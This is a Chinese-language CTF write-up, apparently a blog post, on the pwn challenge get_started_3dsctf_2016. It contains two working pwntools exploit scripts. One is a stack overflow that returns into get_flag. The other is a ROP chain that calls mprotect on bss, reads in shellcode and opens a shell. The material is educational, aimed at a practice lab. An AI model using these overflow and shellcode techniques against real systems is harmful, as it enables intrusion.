get_started_3dsctf_2016

7 篇文章 0 订阅

get_started_3dsctf_2016

0x00 逆向

在这里插入图片描述
在这里插入图片描述
可以看到只要在main构造栈溢出,然后跳转到get_flag即可

0x01 脚本攻击

方法1
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *

io = remote('node3.buuoj.cn',25560)
elf = ELF('./get_started_3dsctf_2016')

get_flag = 0x80489A0
main = 0x8048A20
fakeebp = 0x0804E6A0

payload = 'A' * 56 + p32(get_flag) + p32(fakeebp) + p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
print(io.recv())

io.interactive()

先用‘A’*56构造栈溢出,然后将返回地址改为get_flag函数,传入一个假的ebp,然后传入get_flag的参数a1,a2。
要特别注意一点,这里的fakeebp不能随意填写,如果远程程序异常结束它是不会给回显的,因此一定要在fakeebp内填exit的地址,使程序能够正常结束。
在这里插入图片描述

方法2
from pwn import *
from LibcSearcher import *

io = remote('node3.buuoj.cn',28526)
elf = ELF('./get_started_3dsctf_2016')

bss=0x080eb000
pop_ebx_esi_edi_ret=0x080509a5

payload = 'A' * 0x38 + p32(elf.sym['mprotect']) + p32(pop_ebx_esi_edi_ret) + p32(bss) + p32(0x2c) + p32(7)
payload += p32(elf.sym['read']) + p32(bss) + p32(0) + p32(bss) + p32(0x2c)
io.sendline(payload)
payload=asm(shellcraft.sh())
io.sendline(payload)

io.interactive()

网上很多大佬都采用了这个办法,因为他们使用方法1的时候没有考虑到返回地址改为exit。
但是这个方法感觉也挺有用,所以我也来学习一下。
payload的第一行的含义分别是:
用A构造栈溢出 返回地址覆盖为mprotect 当前函数执行完返回到三个pop 从bss地址开始 写0x2c个地址 权限改为可读可写可执行
第二行的含义:
跳转到read函数 函数执行完跳转到bss执行 对程序写 写到bss地址 写0x2c个地址
第二个payload
获取shell权限对应的汇编代码(长度为0x2c)
写完以后,read就会在bss写入shell代码,然后因为函数执行完从bss地址开始执行,从而获得shell权限。

这里有个难以理解的点是为什么要返回到三个pop?
通常来说一个函数call了另一个函数,那当被call的函数执行完毕以后,原函数会自动清除被call函数的参数,但是我们是通过栈溢出构造的函数帧,所以只能通过手动弹出来保持栈平衡。
这里如果3pop那边直接填read地址的话,那read函数的参数就会变成 0x2c 7 bss,无法正常执行。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值